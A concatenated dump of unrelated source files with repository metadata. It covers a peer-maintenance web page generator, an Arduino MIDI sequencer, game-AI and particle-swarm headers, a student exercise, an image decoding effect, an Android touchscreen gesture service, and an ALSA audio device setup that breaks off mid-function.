content+="<td>"+m_trans->Get("web.page.peermaintenance.wotpeers")+"</td>";
content+="</tr>";
content+="<tr>";
sql="SELECT COUNT(*) FROM tblIdentity WHERE ";
if(m_localtrustoverrides==true)
{
sql+="(tblIdentity.LocalMessageTrust>=(SELECT OptionValue FROM tblOption WHERE Option='MinLocalMessageTrust') OR (tblIdentity.LocalMessageTrust IS NULL AND (tblIdentity.PeerMessageTrust IS NULL OR tblIdentity.PeerMessageTrust>=(SELECT OptionValue FROM tblOption WHERE Option='MinPeerMessageTrust'))))";
}
else
{
sql+="(tblIdentity.LocalMessageTrust IS NULL OR tblIdentity.LocalMessageTrust>=(SELECT OptionValue FROM tblOption WHERE Option='MinLocalMessageTrust'))";
sql+="AND (tblIdentity.PeerMessageTrust IS NULL OR tblIdentity.PeerMessageTrust>=(SELECT OptionValue FROM tblOption WHERE Option='MinPeerMessageTrust'))";
}
st=m_db->Prepare(sql);
st.Step();
st.ResultText(0,tempval);
content+="<td>"+tempval+"</td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.trustedcount")+"</td>";
content+="</tr>";
content+="<tr>";
st=m_db->Prepare("SELECT COUNT(*) FROM tblIdentity WHERE LastSeen IS NULL AND WOTLastSeen IS NULL;");
st.Step();
st.ResultText(0,tempval);
content+="<td>"+tempval+"</td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.neverseen")+"</td>";
content+="<td>";
content+="<form name=\"frmremove\" method=\"POST\">";
content+=CreateFormPassword();
content+="<input type=\"hidden\" name=\"formaction\" value=\"removenotseen\">";
content+="<input type=\"submit\" value=\""+m_trans->Get("web.page.peermaintenance.remove")+"\">";
content+="</form>";
content+="</td>";
content+="</tr>";
date=Poco::Timestamp();
date-=Poco::Timespan(20,0,0,0,0);
st=m_db->Prepare("SELECT COUNT(*) FROM tblIdentity WHERE IFNULL(LastSeen<?,1) AND IFNULL(WOTLastSeen<?,1);");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Step();
st.ResultText(0,tempval);
content+="<tr>";
content+="<td>"+tempval+"</td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.lastseen20days")+"</td>";
content+="<td>";
content+="<form name=\"frmremove\" method=\"POST\">";
content+=CreateFormPassword();
content+="<input type=\"hidden\" name=\"formaction\" value=\"removelastseen20\">";
content+="<input type=\"submit\" value=\""+m_trans->Get("web.page.peermaintenance.remove")+"\">";
content+="</form>";
content+="</td>";
content+="</tr>";
date=Poco::Timestamp();
date-=Poco::Timespan(30,0,0,0,0);
st=m_db->Prepare("SELECT COUNT(*) FROM (SELECT tblIdentity.IdentityID FROM tblIdentity INNER JOIN tblMessage ON tblIdentity.IdentityID=tblMessage.IdentityID WHERE (SELECT MAX(MessageDate) FROM tblMessage WHERE tblMessage.IdentityID=tblIdentity.IdentityID)<=? GROUP BY tblIdentity.IdentityID);");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d"));
st.Step();
st.ResultText(0,tempval);
content+="<tr>";
content+="<td>"+tempval+"</td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.lastsent30days")+"</td>";
content+="<td>";
content+="<form name=\"frmremove\" method=\"POST\">";
content+=CreateFormPassword();
content+="<input type=\"hidden\" name=\"formaction\" value=\"removeposted30daysago\">";
content+="<input type=\"submit\" value=\""+m_trans->Get("web.page.peermaintenance.remove")+"\">";
content+="</form>";
content+="</td>";
content+="</tr>";
st=m_db->Prepare("SELECT COUNT(*) FROM tblIdentity LEFT JOIN tblMessage ON tblIdentity.IdentityID=tblMessage.IdentityID WHERE tblMessage.IdentityID IS NULL;");
st.Step();
st.ResultText(0,tempval);
content+="<tr>";
content+="<td>"+tempval+"</td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.neversent")+"</td>";
content+="<td>";
content+="<form name=\"frmremove\" method=\"POST\">";
content+=CreateFormPassword();
content+="<input type=\"hidden\" name=\"formaction\" value=\"removeneversent\">";
content+="<input type=\"submit\" value=\""+m_trans->Get("web.page.peermaintenance.remove")+"\">";
content+="</form>";
content+="</td>";
content+="</tr>";
date=Poco::Timestamp();
date-=Poco::Timespan(20,0,0,0,0);
st=m_db->Prepare("SELECT COUNT(*) FROM tblIdentity LEFT JOIN tblMessage ON tblIdentity.IdentityID=tblMessage.IdentityID WHERE tblMessage.IdentityID IS NULL AND tblIdentity.DateAdded<?;");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Step();
st.ResultText(0,tempval);
content+="<tr>";
content+="<td>"+tempval+"</td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.added20daysneversent")+"</td>";
content+="<td>";
content+="<form name=\"frmremove\" method=\"POST\">";
content+=CreateFormPassword();
content+="<input type=\"hidden\" name=\"formaction\" value=\"removeadded20daysneversent\">";
content+="<input type=\"submit\" value=\""+m_trans->Get("web.page.peermaintenance.remove")+"\">";
content+="</form>";
content+="</td>";
content+="</tr>";
date=Poco::Timestamp();
date-=Poco::Timespan(20,0,0,0,0);
st=m_db->Prepare("SELECT COUNT(*) FROM tblIdentity LEFT JOIN tblMessage ON tblIdentity.IdentityID=tblMessage.IdentityID WHERE tblMessage.IdentityID IS NULL AND IFNULL(tblIdentity.LastSeen<?,1) AND IFNULL(tblIdentity.WOTLastSeen<?,1);");
st.Bind(0,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Bind(1,Poco::DateTimeFormatter::format(date,"%Y-%m-%d %H:%M:%S"));
st.Step();
st.ResultText(0,tempval);
content+="<tr>";
content+="<td>"+tempval+"</td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.lastseen20daysneversent")+"</td>";
content+="<td>";
content+="<form name=\"frmremove\" method=\"POST\">";
content+=CreateFormPassword();
content+="<input type=\"hidden\" name=\"formaction\" value=\"removelastseenneversent20\">";
content+="<input type=\"submit\" value=\""+m_trans->Get("web.page.peermaintenance.remove")+"\">";
content+="</form>";
content+="</td>";
content+="</tr>";
content+="<tr>";
content+="<td><form name=\"frmdelete\" method=\"POST\">";
content+=CreateFormPassword();
content+="<input type=\"hidden\" name=\"formaction\" value=\"removedaysago\"></td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.lastseen")+" <input type=\"text\" name=\"daysago\" size=\"2\"> "+m_trans->Get("web.page.peermaintenance.daysago")+"</td>";
content+="<td><input type=\"submit\" value=\""+m_trans->Get("web.page.peermaintenance.remove")+"\"></form></td>";
content+="</tr>";
content+="<tr>";
content+="<td><form name=\"frmdelete\" method=\"POST\">";
content+=CreateFormPassword();
content+="<input type=\"hidden\" name=\"formaction\" value=\"removenulldaysago\"></td>";
content+="<td>"+m_trans->Get("web.page.peermaintenance.lastseen")+" <input type=\"text\" name=\"daysago\" size=\"2\"> "+m_trans->Get("web.page.peermaintenance.daysagonulltrust")+"</td>";
content+="<td><input type=\"submit\" value=\""+m_trans->Get("web.page.peermaintenance.remove")+"\"></form></td>";
content+="</tr>";
content+="</table>";
return content;
}
const bool PeerMaintenancePage::WillHandleURI(const std::string &uri)
{
if(uri.find("peermaintenance.")!=std::string::npos)
{
return true;
}
else
{
return false;
}
}
|
[
"SomeDude@NuBL7aaJ6Cn4fB7GXFb9Zfi8w1FhPyW3oKgU9TweZMw"
] |
SomeDude@NuBL7aaJ6Cn4fB7GXFb9Zfi8w1FhPyW3oKgU9TweZMw
|
1920256faa711402670002a9b389bf41f912c8bf
|
7be7e6bcce2a095d60f174799e79b3df62bc0c89
|
/midi_seq_v6.ino
|
a827b5e4019cbaffe53d8d21bfdd6fb7b09b27db
|
[
"CC0-1.0"
] |
permissive
|
AcousticResearch/ArduinoMidiSequencer
|
defa5d997eb344a58277c35806a79b65207becfd
|
10083fe2cdef01663fbf193389ac8387dbd92bc5
|
refs/heads/master
| 2022-05-25T14:46:27.538473
| 2020-05-03T07:31:37
| 2020-05-03T07:31:37
| 260,766,568
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 9,241
|
ino
|
/*
- RotaryEncoder Library
- Oled
- MIDI
- 2x6 note sequence with timing
*/
#include <SPI.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#include <RotaryEncoder.h>
#include <MIDI.h>
#define SCREEN_WIDTH 128 // OLED display width, in pixels
#define SCREEN_HEIGHT 32 // OLED display height, in pixels
// Declaration for an SSD1306 display connected to I2C (SDA, SCL pins)
#define OLED_RESET 4 // Reset pin # (or -1 if sharing Arduino reset pin)
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
RotaryEncoder knobLeft(4, 2);
RotaryEncoder knobRight(8, 6);
int posLeft = 0;
int posLeftOld = 0;
int minLeft = 0;
int maxLeft = 27;
int posRight = 0;
int posRightOld = 0;
int minRight = 0;
MIDI_CREATE_DEFAULT_INSTANCE();
int notes[] = {40, 40, 46, 46, 40, 46, 40, 40, 44, 44, 40, 44};
int timings[] = {38, 38, 38, 38, 38, 38, 2, 2, 2, 2, 2, 2};
int note = 0;
int sequence[6][8] = {
{ 1, 1, 1, 1, 1, 1, 1, 1},
{ 2, 2, 2, 2, 2, 2, 2, 2},
{ 1, 1, 1, 1, 2, 2, 2, 2},
{ 1, 1, 2, 2, 1, 1, 2, 2},
{ 1, 2, 1, 2, 1, 2, 1, 2},
{ 1, 1, 1, 2, 1, 1, 1, 2}
};
int seq = 0;
unsigned long time_now = 0;
int tmult = 25;
int notetime = 0;
int play = 1;
int midich = 4;
int oldmidich = 4;
// the setup function runs once when you press reset or power the board
void setup() {
// SSD1306_SWITCHCAPVCC = generate display voltage from 3.3V internally
if (!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) { // Address 0x3C for 128x32
for (;;); // Don't proceed, loop forever
}
pinMode(1, OUTPUT);
MIDI.begin(4); // Launch MIDI and listen to channel 4
}
// the loop function runs over and over again forever
void loop() {
for( int j = 0; j < 8; j++ )
{
for( int i = 0; i < 6; i++ )
{
note = ((sequence[seq][j] - 1) * 6) + i;
time_now = millis();
printPage();
if( play == 1 )
{
if( timings[i] > 0 )
{
int current_note = notes[note];
MIDI.sendNoteOn(current_note, 127, midich);
notetime = timings[i] * (tmult+1);
while (millis() < time_now + notetime)
{
encoderPos();
}
MIDI.sendNoteOff(current_note, 0, midich);
time_now = millis();
notetime = timings[i+6] * (tmult+1);
while (millis() < time_now + notetime)
{
encoderPos();
}
}
else
{
notetime = timings[i+6] * (tmult+1);
while (millis() < time_now + notetime)
{
encoderPos();
}
}
}
else
{
while( play == 0 )
{
encoderPos();
if( oldmidich != midich )
{
oldmidich = midich;
play = 1;
printPage();
}
}
}
}
}
}
void printPage()
{
display.clearDisplay();
display.setTextSize(1); // Normal 1:1 pixel scale
display.setTextColor(WHITE); // Draw white text
display.setCursor(0, 0); // Start at top-left corner
display.cp437(true); // Use full 256 char 'Code Page 437' font
if( posLeft < 24 )
{
//// DOT ////
int xpos = (note*20) + 6;
if( note >= 6 )
{
xpos = ((note-6)*20) + 6;
}
int ypos = 10;
display.drawPixel(xpos, ypos-1, SSD1306_WHITE);
display.drawPixel(xpos+1, ypos, SSD1306_WHITE);
display.drawPixel(xpos, ypos+1, SSD1306_WHITE);
}
if( posLeft < 12 )
{
display.drawLine(0, 0, 28, 0, SSD1306_WHITE);
display.drawLine(0, 2, 28, 2, SSD1306_WHITE);
display.drawLine(0, 4, 28, 4, SSD1306_WHITE);
display.drawLine(0, 6, 28, 6, SSD1306_WHITE);
display.setCursor(30,0);
display.print("NOTES");
display.drawLine(60, 0, 128, 0, SSD1306_WHITE);
display.drawLine(60, 2, 128, 2, SSD1306_WHITE);
display.drawLine(60, 4, 128, 4, SSD1306_WHITE);
display.drawLine(60, 6, 128, 6, SSD1306_WHITE);
for( int i = 0; i < 12; i++ )
{
int xpos = (i*20) + 6;
int ypos = 14;
if( i >= 6 )
{
xpos = ((i-6)*20) + 6;
ypos = 24;
}
display.setCursor(xpos, ypos);
if( posLeft == i )
{
display.setTextColor(BLACK, WHITE);
}
else
{
display.setTextColor(WHITE);
}
display.print(notes[i]);
}
}
if( posLeft >= 12 && posLeft < 24 )
{
display.drawLine(0, 0, 28, 0, SSD1306_WHITE);
display.drawLine(0, 2, 28, 2, SSD1306_WHITE);
display.drawLine(0, 4, 28, 4, SSD1306_WHITE);
display.drawLine(0, 6, 28, 6, SSD1306_WHITE);
display.setCursor(30,0);
display.print("TIMINGS");
display.drawLine(72, 0, 128, 0, SSD1306_WHITE);
display.drawLine(72, 2, 128, 2, SSD1306_WHITE);
display.drawLine(72, 4, 128, 4, SSD1306_WHITE);
display.drawLine(72, 6, 128, 6, SSD1306_WHITE);
for( int i = 0; i < 12; i++ )
{
int xpos = (i*20) + 6;
int ypos = 14;
if( i >= 6 )
{
xpos = ((i-6)*20) + 6;
ypos = 24;
}
display.setCursor(xpos, ypos);
if( posLeft == (i+12) )
{
display.setTextColor(BLACK, WHITE);
}
else
{
display.setTextColor(WHITE);
}
display.print(timings[i]);
}
}
if( posLeft >= 24 )
{
display.drawLine(0, 0, 28, 0, SSD1306_WHITE);
display.drawLine(0, 2, 28, 2, SSD1306_WHITE);
display.drawLine(0, 4, 28, 4, SSD1306_WHITE);
display.drawLine(0, 6, 28, 6, SSD1306_WHITE);
display.setCursor(30,0);
display.print("SETTINGS");
display.drawLine(78, 0, 128, 0, SSD1306_WHITE);
display.drawLine(78, 2, 128, 2, SSD1306_WHITE);
display.drawLine(78, 4, 128, 4, SSD1306_WHITE);
display.drawLine(78, 6, 128, 6, SSD1306_WHITE);
// print sequence
if( posLeft == 24 )
{
display.setTextColor(BLACK, WHITE);
}
else
{
display.setTextColor(WHITE);
}
for( int i = 0; i < 8; i++ )
{
display.setCursor(((i*6)+6), 14);
display.print(sequence[seq][i]);
}
// print tmult
if( posLeft == 25 )
{
display.setTextColor(BLACK, WHITE);
}
else
{
display.setTextColor(WHITE);
}
display.setCursor(76, 14);
display.print("T:");
display.print(tmult);
// print play
if( posLeft == 26 )
{
display.setTextColor(BLACK, WHITE);
}
else
{
display.setTextColor(WHITE);
}
display.setCursor(6, 24);
if( play == 0 )
{
display.print("stopped");
}
else
{
display.print("playing");
}
// print midi channel
if( posLeft == 27 )
{
display.setTextColor(BLACK, WHITE);
}
else
{
display.setTextColor(WHITE);
}
display.setCursor(76, 24);
display.print("M:");
display.print(midich);
}
// debug
/*
char output [50];
sprintf(output, "%d _ %.1f _ %d", t_total, t_factor, notetime);
display.setCursor(0,24);
display.println(output);
*/
display.display();
}
void encoderPos()
{
knobLeft.tick();
knobRight.tick();
//// MINS AND MAXES ////
posLeft = knobLeft.getPosition();
if( posLeft < minLeft )
{
knobLeft.setPosition(minLeft);
posLeft = minLeft;
}
else if( posLeft > maxLeft )
{
knobLeft.setPosition(maxLeft);
posLeft = maxLeft;
}
posRight = knobRight.getPosition();
if( posRight < minRight )
{
knobRight.setPosition(minRight);
posRight = minRight;
}
if( posLeft == 24 && posRight > 5 )
{
// limit to stay within the sequencer multi-array
knobRight.setPosition(5);
posRight = 5;
}
if( posLeft == 26 && posRight > 1 )
{
// limit to stay within play on/off options
knobRight.setPosition(1);
posRight = 1;
}
if( posLeft == 27 )
{
// limit to stay within midi channels
if( posRight > 16 )
{
knobRight.setPosition(16);
posRight = 16;
}
if( posRight < 1 )
{
knobRight.setPosition(1);
posRight = 1;
}
}
//// CHANGING SETTINGS ////
if( posLeftOld != posLeft )
{
if( posLeft >= 0 && posLeft < 12 )
{
posRight = notes[posLeft];
}
if( posLeft >= 12 && posLeft < 24 )
{
posRight = timings[(posLeft-12)];
}
if( posLeft == 24 )
{
posRight = seq;
}
if( posLeft == 25 )
{
posRight = tmult;
}
if( posLeft == 26 )
{
posRight = play;
}
if( posLeft == 27 )
{
posRight = midich;
}
posRightOld = posRight;
knobRight.setPosition(posRight);
posLeftOld = posLeft;
printPage();
}
//// CHANGING VALUES ////
if( posRightOld != posRight )
{
if( posLeft >= 0 && posLeft < 12 )
{
notes[posLeft] = posRight;
}
if( posLeft >= 12 && posLeft < 24 )
{
timings[(posLeft-12)] = posRight;
}
if( posLeft == 24 )
{
seq = posRight;
}
if( posLeft == 25 )
{
tmult = posRight;
}
if( posLeft == 26 )
{
play = posRight;
}
if( posLeft == 27 )
{
midich = posRight;
play = 0;
}
posRightOld = posRight;
printPage();
}
}
|
[
"noreply@github.com"
] |
AcousticResearch.noreply@github.com
|
d6b695f02d454d69a1e8626f6c8122889d60b705
|
28d33f17bcb370dbf23d0e9220b949b7d94b9adf
|
/wander.h
|
c16807d929dc930edd989e42a8d60572a9b777aa
|
[] |
no_license
|
jjiezheng/PandAI
|
0aad0d4e9fd5a2bd89349f1303396a6582b5adf6
|
5e27957c7aef89f22388d9ca971b6cb733d48177
|
refs/heads/master
| 2021-01-18T06:26:18.207113
| 2012-05-05T22:36:42
| 2012-05-05T22:36:42
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,030
|
h
|
////////////////////////////////////////////////////////////////////////
// Filename : wander.h
// Created by : Deepak, John, Navin, Stephen
// Date : 17 Aug 11
////////////////////////////////////////////////////////////////////
//
// PANDA 3D SOFTWARE
// Copyright (c) Carnegie Mellon University. All rights reserved.
//
// All use of this software is subject to the terms of the revised BSD
// license. You should have received a copy of this license along
// with this source code in a file named "LICENSE."
//
////////////////////////////////////////////////////////////////////
#ifndef _WANDER_H
#define _WANDER_H
#include "aiCharacter.h"
class AICharacter;
class EXPCL_PANDAAI Wander : public SteeringObjective {
public:
double _wander_radius;
LVecBase3f _wander_target;
int _flag;
LVecBase3f _init_pos;
double _area_of_effect;
Wander(AICharacter *ai_ch, double wander_radius, int flag, double aoe, float max_weight = 1.0);
LVecBase3f do_wander();
~Wander();
};
#endif
|
[
"StephenLujan@gmail.com"
] |
StephenLujan@gmail.com
|
771f42e9c93e7ffeb094f3c07f38c6b14eb903cc
|
67856464f8781976c97017dc5fe04452dc7fe278
|
/code/include/pso.hpp
|
3125b64c0e69bc421b907ca6e351c3055532cc9d
|
[
"MIT"
] |
permissive
|
jeielmoura/Tsallis-entropy-for-image-thresholding
|
6ee57ba6a0fd80b55326cd076ab6c16a74731219
|
9a5646b54ca9467d0389493bccd7ffe9efadad55
|
refs/heads/master
| 2020-03-26T17:17:28.708394
| 2018-09-20T13:20:46
| 2018-09-20T13:20:46
| 145,153,361
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 450
|
hpp
|
#ifndef PSO_H
#define PSO_H
#include <vector>
#include "core.hpp"
class pso {
public:
unsigned size;
long double c1, c2;
long double w, wMax, wMin;
long double vMax;
long double Gbest;
std::vector<long double> X;
std::vector<long double> V;
std::vector<long double> Pbest;
core Xcore, Pcore, Gcore;
pso(img* image, interval *limits);
pso(img* image, interval *limits, unsigned size);
unsigned execute(unsigned iter);
};
#endif
|
[
"noreply@github.com"
] |
jeielmoura.noreply@github.com
|
af4ffd7b709f7b78864403d45f809a400dfc268d
|
6283400a0aaa06f919279e200dccb900acdfa104
|
/Day-40/Homework.cpp
|
f1959dd59c957be2fcbf17db57dcd3d43862ddee
|
[] |
no_license
|
SSundas/OOP
|
0e55562d65e96f06884c82b944e27a8b081b1108
|
738b97ea8db387ff320efe58119a0e640f0878c4
|
refs/heads/main
| 2023-08-17T21:06:06.776180
| 2021-09-23T16:17:07
| 2021-09-23T16:17:07
| 385,564,853
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 981
|
cpp
|
#include<iostream>
void fun(void);
void fun1(void);
void fun2(void);
using namespace std;
int main()
{
cout<<"Hey! This is Sundas";
fun();
cout<<"Political Science Student\n";
fun1();
cout<<"Computer Lover\n";
fun2();
}
void fun()
{
cout<<"\n CIT Student,";
cout<<"\n Learning Process,";
cout<<"\n 3 Months,";
}
void fun1()
{
cout<<"Egar to learn new things.\n";
cout<<"Computer World is totally new to me.\n";
cout<<"But as I like coding.\n";
cout<<"I learned it so far.\n";
cout<<"I like bootstrap the most.\n";
cout<<"Reason behind liking bootstrap is that I think it is the most easiest to code.\n";
cout<<"But other languages are also very necessary to learn.\n\n\n\n\n";
return;
}
void fun2()
{
cout<<"Kim Namjoon.\n";
cout<<"Seoik Jin.\n";
cout<<"Min Yoongi.\n";
cout<<"Jung Hosek.\n";
cout<<"Park Jimin.\n";
cout<<"Kim Taeyung.\n";
cout<<"Jeon Jungkook.\n\n\n\n\n";
return;
}
|
[
"noreply@github.com"
] |
SSundas.noreply@github.com
|
729d1b7f6bc69becb60c55e62aef1a20242e3a0e
|
2cdfdcbe1c7d259c37bb8254e3efc155917d0473
|
/Lab 2/Lab2/Lab2/Decode.h
|
6e9468bb7e7f6d1822bca9b3abd4b2e202931a9c
|
[] |
no_license
|
hscarton/sandbox
|
a0f6f98bebea746be8a419449dd69d2db815da8c
|
c1ad514afe987956d3ceeea2d224626311275bcd
|
refs/heads/master
| 2021-05-10T14:06:47.330542
| 2018-02-19T19:54:51
| 2018-02-19T19:54:53
| 118,501,594
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 989
|
h
|
#pragma once
#ifndef DECODE_H
#define DECODE_H
#include <vector>
#include "ImageEffect.h"
//this image effect will make the image black and white
class Decode : public ImageEffect
{
virtual void processImage(PpmDocument &doc)
{
//to hold the chars gotten from red pixel
vector<char> secretWord{};
//to hold the x coordinate of the next char
int g = p.getGreen();
//to hold the y coordinate of the next char
int b = p.getBlue();
for (int i = 0; i < doc.getHeight(); i++)
{
for (int j = 0; j < doc.getWidth(); j++)
{
Pixel& p = doc.getPixel(i, j);
//to get the base case pixel
if ((i == 0) && (j == 0))
{
secretWord.push_back(p.getRed());
g = p.getGreen();
b = p.getBlue();
}
//to add the next code char to the secretWord vector
if ((i == g) && (j == b))
{
secretWord.push_back(p.getRed());
g = p.getGreen();
b = p.getBlue();
}
}
}
//return the vector secretWord
}
};
#endif // !DECODE_H
|
[
"hc64@humboldt.edu"
] |
hc64@humboldt.edu
|
662ad3c957d1163aaa468ea715c4d660a1ac93cf
|
b845d61ec452289b7be349432420c705df647e6d
|
/touch/TouchscreenGesture.cpp
|
4c20b05b850058ff0b2f5a6f008f26473f5786e4
|
[] |
no_license
|
LineageOS/android_device_oneplus_sdm845-common
|
249927f6d8258fa81e9ae3e0a88f626d7474656b
|
a53ec793d1a80ea4117de1717ddf7bbea7e2a677
|
refs/heads/lineage-16.0
| 2023-09-02T14:09:16.779005
| 2019-08-25T18:33:29
| 2019-08-26T12:30:29
| 139,089,407
| 44
| 191
| null | 2019-06-06T16:11:36
| 2018-06-29T02:09:58
|
C++
|
UTF-8
|
C++
| false
| false
| 2,743
|
cpp
|
/*
* Copyright (C) 2019 The LineageOS Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define LOG_TAG "TouchscreenGestureService"
#include "TouchscreenGesture.h"
#include <android-base/logging.h>
#include <fstream>
namespace vendor {
namespace lineage {
namespace touch {
namespace V1_0 {
namespace implementation {
const std::map<int32_t, TouchscreenGesture::GestureInfo> TouchscreenGesture::kGestureInfoMap = {
{0, {251, "Two fingers down swipe", "/proc/touchpanel/double_swipe_enable"}},
{1, {252, "Up arrow", "/proc/touchpanel/up_arrow_enable"}},
{2, {254, "Right arrow", "/proc/touchpanel/right_arrow_enable"}},
{3, {255, "Down arrow", "/proc/touchpanel/down_arrow_enable"}},
{4, {253, "Left arrow", "/proc/touchpanel/left_arrow_enable"}},
{5, {66, "One finger up swipe", "/proc/touchpanel/up_swipe_enable"}},
{6, {65, "One finger right swipe", "/proc/touchpanel/right_swipe_enable"}},
{7, {64, "One finger down swipe", "/proc/touchpanel/down_swipe_enable"}},
{8, {63, "One finger left swipe", "/proc/touchpanel/left_swipe_enable"}},
{9, {247, "Letter M", "/proc/touchpanel/letter_m_enable"}},
{10, {250, "Letter O", "/proc/touchpanel/letter_o_enable"}},
{11, {248, "Letter S", "/proc/touchpanel/letter_s_enable"}},
{12, {246, "Letter W", "/proc/touchpanel/letter_w_enable"}},
};
Return<void> TouchscreenGesture::getSupportedGestures(getSupportedGestures_cb resultCb) {
std::vector<Gesture> gestures;
for (const auto& entry : kGestureInfoMap) {
gestures.push_back({entry.first, entry.second.name, entry.second.keycode});
}
resultCb(gestures);
return Void();
}
Return<bool> TouchscreenGesture::setGestureEnabled(
const ::vendor::lineage::touch::V1_0::Gesture& gesture, bool enabled) {
const auto entry = kGestureInfoMap.find(gesture.id);
if (entry == kGestureInfoMap.end()) {
return false;
}
std::ofstream file(entry->second.path);
file << (enabled ? "1" : "0");
LOG(DEBUG) << "Wrote file " << entry->second.path << " fail " << file.fail();
return !file.fail();
}
} // namespace implementation
} // namespace V1_0
} // namespace touch
} // namespace lineage
} // namespace vendor
|
[
"luca.stefani.ge1@gmail.com"
] |
luca.stefani.ge1@gmail.com
|
2981fa55a1fdd606425a96f234048832d1aa9fda
|
06acec123be3c64acfe57070447c7ee75088f66c
|
/engine/audio/alsa/ALSAAudioDevice.cpp
|
05713b313f07f6a374aab5775127bb7bc5033f40
|
[
"BSD-3-Clause",
"BSD-2-Clause"
] |
permissive
|
OskyJr/ouzel
|
9f8bddd9a5823c64ffe79ffa7da610b16f087a46
|
ad080ef4e5ce7504b785d083c31f6542f272ba3f
|
refs/heads/master
| 2022-11-12T06:34:30.265718
| 2020-07-07T08:07:33
| 2020-07-07T08:07:33
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 8,199
|
cpp
|
// Copyright 2015-2020 Elviss Strazdins. All rights reserved.
#include "../../core/Setup.h"
#if OUZEL_COMPILE_ALSA
#include <system_error>
#include "ALSAAudioDevice.hpp"
#include "../../core/Engine.hpp"
#include "../../utils/Log.hpp"
namespace ouzel::audio::alsa
{
AudioDevice::AudioDevice(std::uint32_t initBufferSize,
std::uint32_t initSampleRate,
std::uint32_t initChannels,
const std::function<void(std::uint32_t frames,
std::uint32_t channels,
std::uint32_t sampleRate,
std::vector<float>& samples)>& initDataGetter):
audio::AudioDevice(Driver::alsa, initBufferSize, initSampleRate, initChannels, initDataGetter)
{
int result;
if ((result = snd_pcm_open(&playbackHandle, "default", SND_PCM_STREAM_PLAYBACK, 0)) < 0)
throw std::system_error(result, std::system_category(), "Failed to connect to audio interface");
engine->log(Log::Level::info) << "Using " << snd_pcm_name(playbackHandle) << " for audio";
if ((result = snd_pcm_hw_params_malloc(&hwParams)) < 0)
throw std::system_error(result, std::system_category(), "Failed to allocate memory for hardware parameters");
if ((result = snd_pcm_hw_params_any(playbackHandle, hwParams)) < 0)
throw std::system_error(result, std::system_category(), "Failed to initialize hardware parameters");
if ((result = snd_pcm_hw_params_set_access(playbackHandle, hwParams, SND_PCM_ACCESS_RW_INTERLEAVED)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set access type");
if (snd_pcm_hw_params_test_format(playbackHandle, hwParams, SND_PCM_FORMAT_FLOAT_LE) == 0)
{
if ((result = snd_pcm_hw_params_set_format(playbackHandle, hwParams, SND_PCM_FORMAT_FLOAT_LE)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set sample format");
sampleFormat = SampleFormat::float32;
}
else if (snd_pcm_hw_params_test_format(playbackHandle, hwParams, SND_PCM_FORMAT_S16_LE) == 0)
{
if ((result = snd_pcm_hw_params_set_format(playbackHandle, hwParams, SND_PCM_FORMAT_S16_LE)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set sample format");
sampleFormat = SampleFormat::signedInt16;
}
else
throw std::runtime_error("No supported format");
if ((result = snd_pcm_hw_params_set_rate(playbackHandle, hwParams, sampleRate, 0)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set sample rate");
if ((result = snd_pcm_hw_params_set_channels(playbackHandle, hwParams, channels)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set channel count");
unsigned int periodLength = periodSize * 1000000 / sampleRate; // period length in microseconds
unsigned int bufferLength = periodLength * periods; // buffer length in microseconds
int dir;
if ((result = snd_pcm_hw_params_set_buffer_time_near(playbackHandle, hwParams, &bufferLength, &dir)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set buffer time");
if ((result = snd_pcm_hw_params_set_period_time_near(playbackHandle, hwParams, &periodLength, &dir)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set period time");
if ((result = snd_pcm_hw_params_get_period_size(hwParams, &periodSize, &dir)) < 0)
throw std::system_error(result, std::system_category(), "Failed to get period size");
if ((result = snd_pcm_hw_params_get_periods(hwParams, &periods, &dir)) < 0)
throw std::system_error(result, std::system_category(), "Failed to get period count");
if ((result = snd_pcm_hw_params(playbackHandle, hwParams)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set hardware parameters");
snd_pcm_hw_params_free(hwParams);
hwParams = nullptr;
if ((result = snd_pcm_sw_params_malloc(&swParams)) < 0)
throw std::system_error(result, std::system_category(), "Failed to allocate memory for software parameters");
if ((result = snd_pcm_sw_params_current(playbackHandle, swParams)) < 0)
throw std::system_error(result, std::system_category(), "Failed to initialize software parameters");
if ((result = snd_pcm_sw_params_set_avail_min(playbackHandle, swParams, 4096)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set minimum available count");
if ((result = snd_pcm_sw_params_set_start_threshold(playbackHandle, swParams, 0)) < 0)
throw std::system_error(result, std::system_category(), "Failed to set start threshold");
if ((result = snd_pcm_sw_params(playbackHandle, swParams)) < 0)
